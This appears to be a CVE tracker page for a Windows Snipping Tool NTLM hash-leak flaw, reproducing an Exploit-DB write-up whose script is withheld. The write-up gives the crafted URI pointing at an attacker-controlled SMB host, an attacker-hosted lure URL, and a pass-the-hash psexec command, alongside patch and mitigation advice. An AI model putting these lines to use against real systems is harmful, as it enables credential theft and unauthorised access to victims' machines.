CVE-2026-33829

medium
Published 2026-04-14 ยท Modified 2026-06-01
CVSS v3
4.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:U/RL:O/RC:C
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.3

Description

Exposure of sensitive information to an unauthorized actor in Windows Snipping Tool allows an unauthorized attacker to perform spoofing over a network.

Predictions

Exploit likelihood
53%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-52567 local windows text ยท 4 KB
nu11secur1ty ยท 2026-05-15

Windows Snipping Tool - NTLMv2 Hash Hijack

text exploit Source: Exploit-DB
# Exploit Title:  Windows Snipping Tool -  NTLMv2 Hash Hijack
# Date: 2026-04-22
# Exploit Author: nu11secur1ty
# Video Demo: https://www.patreon.com/posts/cve-2026-33829-156243398
# Vendor Homepage: https://www.microsoft.com
# Software Link: Built-in Windows Snipping Tool
# Version: Windows 10, Windows 11, Windows Server 2012-2025 (pre-April 2026
patch)
# Tested on: Windows 11 Pro (Build 22621) / Kali Linux 2026.1
# CVE: CVE-2026-33829
# Attack Type: Remote / Network-based
# Impact: Credential Theft (NTLMv2 Hash) / Pass-the-Hash
# CVSS Score: 4.3 (Medium) but HIGH impact in practice

## Vulnerable Systems
- Windows 10 (all versions before April 14, 2026 patch)
- Windows 11 (all versions before April 14, 2026 patch)
- Windows Server 2012, 2016, 2019, 2022, 2025 (before April 14, 2026 patch)

## Description
A vulnerability in Windows Snipping Tool (CVE-2026-33829) allows attackers
to
force NTLMv2 authentication to a remote SMB server via crafted
ms-screensketch:edit
URI. When a victim clicks a malicious link and approves the "Open Snipping
Tool"
prompt, Windows automatically sends the user's NTLMv2 hash to the
attacker-controlled
server. This exploit extends beyond the original PoC by also harvesting
HTTP NTLM
hashes (via WPAD), LLMNR, and MDNS poisoning - capturing MULTIPLE valid
hashes from
a SINGLE click. Captured hashes can be used for Pass-the-Hash attacks or
cracked
with Hashcat.

## Exploit Features (nu11secur1ty edition)
- โœ… Snipping Tool NTLM hash capture (original vector)
- โœ… Automatic HTTP NTLM authentication capture (additional vector)
- โœ… WPAD poisoning (automatic proxy config)
- โœ… LLMNR/MDNS poisoning (fallback vectors)
- โœ… Multi-harvest - captures multiple hashes from one click
- โœ… One-command execution (sudo python3 exploit.py)
- โœ… Auto-detects terminal and opens Responder in new window
- โœ… Built-in HTTP server for HTML delivery

## Proof of Concept
**Video Demonstration (Patreon Exclusive):**
https://www.patreon.com/posts/cve-2026-33829-156243398

1. Run exploit on attacker machine (Kali Linux):
   sudo python3 CVE-2026-33829-NTLMv2-Hash-Hijack.py

2. Victim (Windows 11) opens the malicious URL:
   http://<ATTACKER_IP>/exploit.html

3. Victim clicks the button and approves "Open Snipping Tool"

4. Attacker captures NTLMv2 hash(es):
   [HTTP] NTLMv2 Username : \Hacked
   [HTTP] NTLMv2 Hash     : Hacked:::157e1f851f7c17e7:16D87BC0AD284FB6...

5. Attacker performs Pass-the-Hash to gain access:
   impacket-psexec -hashes :<HASH> Hacked@<VICTIM_IP>

## Attack Vector
ms-screensketch:edit?filePath=\\<ATTACKER_IP>\test\evil.png

## Requirements
Attacker: Kali Linux (or any Linux with Python3, impacket, responder)
Victim: Windows 10/11 with Snipping Tool (unpatched)

## Mitigations
- Apply Microsoft patch from April 14, 2026
- Block outbound SMB traffic (port 445)
- Disable NTLMv1 and restrict NTLMv2 via GPO
- Educate users not to click "Open Snipping Tool" prompts from untrusted
sources

## References
- https://cybersecuritynews.com/windows-snipping-tool-vulnerability/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
-
https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829

## Exploit Code (NFO)
The exploit will not be published for security reasons! For more
information, please get in touch with me!

-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.